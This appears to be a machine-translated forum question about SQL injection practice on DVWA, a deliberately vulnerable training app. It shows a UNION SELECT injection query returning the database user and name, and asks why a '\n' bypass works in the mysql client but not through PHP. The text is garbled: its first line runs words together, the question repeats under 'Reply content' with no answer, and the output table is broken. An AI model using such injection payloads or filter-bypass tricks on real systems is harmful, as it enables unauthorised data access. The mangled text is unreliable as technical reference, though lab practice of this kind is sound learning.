Mysql & amp; gt; selectuser, passwordfromuserswhereuser_id-1unionselectuser (), database () fromnusers; PAGERsettostdoutuserpassword + ---------------- + ---------- + root @ localhostdvwa1rowins...
Mysql> select user, password from users where user_id =-1 union select user (), database () from \ nusers;
PAGER set to stdout |
User |
Password |
+ ---------------- + ---------- + |
Root @ localhost |
Dvwa |
1 row in set (0.00 sec)
To retrieve data by adding \ n, run the command in mysql. But in php, if the \ n parameter is accepted externally, it cannot be obtained. What is the problem?
Reply content:
Mysql> select user, password from users where user_id =-1 union select user (), database () from \ nusers;
PAGER set to stdout |
User |
Password |
+ ---------------- + ---------- + |
Root @ localhost |
Dvwa |
1 row in set (0.00 sec)
To retrieve data by adding \ n, run the command in mysql. But in php, if the \ n parameter is accepted externally, it cannot be obtained. What is the problem?